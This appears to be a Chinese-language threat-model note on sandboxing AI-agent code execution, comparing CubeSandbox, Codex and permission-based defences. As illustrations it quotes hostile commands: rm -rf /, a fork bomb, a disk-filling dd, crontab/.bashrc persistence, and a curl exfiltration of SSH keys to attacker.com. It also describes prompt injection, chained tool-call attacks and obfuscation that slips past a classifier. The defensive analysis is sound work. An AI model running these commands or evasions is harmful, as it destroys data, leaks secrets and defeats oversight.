AI Agent 代码执行威胁模型

调研时间：2026-06-22 | 隔离层级：L0–L4 对照 基于 STRIDE 简化版，聚焦 Agent 代码执行场景的特有威胁

一句话定位

Agent 生成的代码不只是「可能有 bug」——它可能被 prompt 注入、可能外传数据、可能耗尽资源。本篇用 STRIDE 框架梳理 6 类威胁，对照 CubeSandbox / Codex / 纯 Permission 三种方案的缓解能力。

隔离选型见 沙箱选型决策树 真实 issue 示例见 技术挑战 [已有]

日常类比

把 Agent 代码执行想象成一个实验室：你让一个机器人助手（LLM）做化学实验，它按你的指令配药。大多数时候没问题，但如果有人在你的指令里夹带了「把试剂倒进下水道」的暗示（prompt 注入），机器人会照做——它不知道这是恶意指令。威胁模型就是在回答：实验室的安全门、通风系统、废液收集、监控摄像头分别能防哪些意外？类比边界：化学实验是物理的、可观测的；代码执行是数字的，恶意行为可以极其隐蔽。

威胁全景表

威胁详解

T1: 任意文件破坏

攻击路径：LLM 生成包含 rm -rf /、> /etc/hosts、chmod 000 ~/.ssh 等命令的代码。可能是 prompt 注入触发，也可能是 LLM hallucination（幻觉生成的错误命令）。

CubeSandbox 缓解：每个沙箱运行在独立的 microVM 中，拥有独立的文件系统（通过 virtio-blk 挂载）。guest 内的 rm -rf / 只删除 VM 内部的文件，host 文件系统完全不受影响。CubeCoW 快照还允许在破坏后毫秒级恢复。

Codex 缓解：bwrap 创建 mount namespace，只暴露白名单目录给沙箱进程。试图写入未授权路径会直接报 EACCES。Seatbelt（macOS）通过 SBPL deny 规则实现类似效果 [已有] deep-dive-codex-sandbox。

Permission 缓解：Claude Code 的 classifier 会把 rm -rf / 归类为高危操作并请求用户确认。但如果命令被混淆（如通过变量拼接 cmd = "r" + "m" + " -rf /"），classifier 可能无法识别。

T2: 数据外泄（网络 exfil）

攻击路径：恶意代码用 curl/wget/Python requests 将敏感文件（密钥、配置、源代码）发送到外部服务器。这是 Agent 场景中最现实的威胁——Agent 执行的代码可以访问工作目录中的所有文件。

CubeSandbox 缓解 [源码]：CubeEgress（OpenResty + eBPF）提供三种网络模式：

• deny all：禁止所有出站流量
• allowlist：只允许白名单域名（如 pypi.org、github.com）
• denylist：禁止黑名单域名

examples/network-policy/ 有完整示例。eBPF 在内核层拦截，比 iptables 更难绕过。

Codex 缓解：三档网络模式（disabled/enabled/proxy-only）。disabled 模式下完全无网络（最安全但限制功能）；proxy-only 可通过代理做审计 [已有]。

真实 issue：CubeSandbox #591 显示 allowOut CIDR 规则在多网卡环境下可能失效——因为 bpf_redirect 跳过内核路由表 [已有] sandbox-challenges #3。

T3: 提示注入间接执行

攻击路径：用户输入或外部数据源（网页、API 响应）中包含隐藏指令，LLM 将其解读为任务指令，生成并执行恶意代码。这是 OWASP LLM Top 10 中的首要威胁。

关键洞察：沙箱不防注入——它防的是注入成功后的影响范围。LLM 可能被骗去生成 curl attacker.com -d $(cat ~/.ssh/id_rsa)，但如果这个命令在 microVM 里执行，VM 里没有 host 的 SSH 密钥，外泄的只是 VM 内的空文件。

防护组合：最佳实践是 classifier（检测可疑命令）+ sandbox（限制执行影响）+ network policy（阻断外传）三层叠加。单靠任何一层都不够。

T4: 资源耗尽（DoS）

攻击路径：

• fork bomb：:(){ :|:& };: 在几秒内创建数千个进程，耗尽系统 PID 和内存
• 磁盘填充：dd if=/dev/zero of=/tmp/fill bs=1G count=100
• CPU 独占：无限循环 while True: pass

CubeSandbox 缓解：每个 microVM 有独立的 cgroup 限制（CPU 份额、内存上限、磁盘配额）。fork bomb 只能耗尽 VM 内部的资源，不影响 host 和其他 VM。VM 超时后自动销毁。

Codex 缓解：seccomp-BPF 可以限制 clone / fork syscall 的调用频率，但不是所有 seccomp profile 都配置了这个限制。进程级资源限制依赖 ulimit 配置。

CubeSandbox 性能数据 [已有] sandbox-challenges：单并发 P99 延迟 137ms。在 fork bomb 场景下，VM 内部进程暴增会导致 VM 响应变慢，但不会影响 host——这正是隔离的价值。

T5: 持久化后门

攻击路径：恶意代码写入 crontab、systemd timer、shell profile（.bashrc、.zshrc）或 SSH authorized_keys，在沙箱销毁后仍然保持访问。

CubeSandbox 缓解：microVM 是 ephemeral（临时）的——执行完毕后 VM 被销毁，所有文件系统改动消失。即使恶意代码写了 crontab，VM 销毁后 crontab 不存在了。唯一的持久化路径是通过 CubeCoW 快照保存——但快照是显式操作，不是自动的。

纯 Permission 无防护：Claude Code 执行的命令直接作用于用户的 shell 环境。如果恶意代码写了 ~/.zshrc 或 crontab -l，后门会在用户的每次 shell 启动或 cron 调度中执行。Permission classifier 不会专门检查这类持久化操作。

T6: 侧信道

攻击路径：通过 CPU cache timing、内存访问模式、网络延迟等间接观测，推断 host 或其他 VM 的数据。经典例子：Spectre/Meltdown。

所有方案都弱：KVM 虚拟化能提供部分缓解（guest 不直接看到 host 的 cache 状态），但不是完全防御。Spectre v2 等攻击在 KVM guest 中仍然可行。gVisor 的 Sentry 通过不共享内核减少侧信道面，但在 I/O 路径上仍然与 host 共享 page cache [已有] sandbox-challenges #2。

T7: 沙箱逃逸

攻击路径：利用内核漏洞从沙箱进程跳出到 host。

概率对比：

CubeSandbox 的优势：攻击者需要同时利用 guest kernel 漏洞 和 KVM/hypervisor 漏洞才能逃逸到 host，这是两条独立的漏洞链。Firecracker 进一步通过 Rust 语言的内存安全减少 VMM 层的漏洞面 [已有] sandbox-deep-dive-firecracker。

T8: 供应链污染

攻击路径：Agent 代码中包含 pip install evil-package，恶意包在安装时执行任意代码（setup.py 中的 os.system）。

CubeSandbox 缓解：恶意包在 VM 内部执行，无法影响 host。CubeEgress 可以限制只允许访问 pypi.org 的特定包（通过 URL 路径过滤），但配置较复杂。

Codex 缓解：sandbox 内的 pip install 只影响 sandbox 内的 Python 环境。如果网络是 disabled 模式，无法下载任何包。

威胁与缓解矩阵

graph LR
    subgraph 威胁
        T1[T1: 文件破坏]
        T2[T2: 数据外泄]
        T3[T3: 提示注入]
        T4[T4: 资源耗尽]
        T5[T5: 持久化]
        T7[T7: 逃逸]
    end

    subgraph 缓解层
        FS[文件系统隔离]
        NET[网络控制]
        CLS[Classifier]
        RES[资源限制]
        EPH[Ephemeral VM]
        KVM_I[KVM 硬件隔离]
    end

    T1 --> FS
    T2 --> NET
    T3 --> CLS
    T3 --> FS
    T3 --> NET
    T4 --> RES
    T5 --> EPH
    T7 --> KVM_I

    FS -.-> |"CubeSandbox: virtio-blk<br>Codex: mount namespace"| FS
    NET -.-> |"CubeSandbox: CubeEgress<br>Codex: 三档策略"| NET

Agent 场景特有威胁（非传统沙箱关注点）

链式工具调用攻击

Agent 通常有多个工具（file_read、bash、web_fetch 等）。攻击者可以通过组合多个看似无害的工具调用实现恶意目标：先 file_read 读取密钥 → 再 bash 把密钥写入临时文件 → 最后 web_fetch 上传。每个单独的调用 classifier 可能放行，组合后才是攻击。

microVM 的优势：VM 内没有 host 的密钥文件，链式攻击的第一步就失败了。

Agent 循环放大

Agent 可能进入「生成代码 → 执行 → 发现错误 → 重试 → 生成更激进的代码」的循环。在没有沙箱的情况下，每次重试都可能对系统造成累积影响。CubeCoW 快照可以在每次执行前创建检查点，失败后回滚到干净状态。

长会话状态泄漏

Agent 在长会话中积累的状态（变量、文件、环境变量）可能包含敏感信息。如果沙箱不销毁而是复用，前一个用户的状态可能泄漏给下一个用户。CubeSandbox 的 microVM 在每次会话结束后可以选择销毁或从快照恢复，避免状态泄漏。

证据等级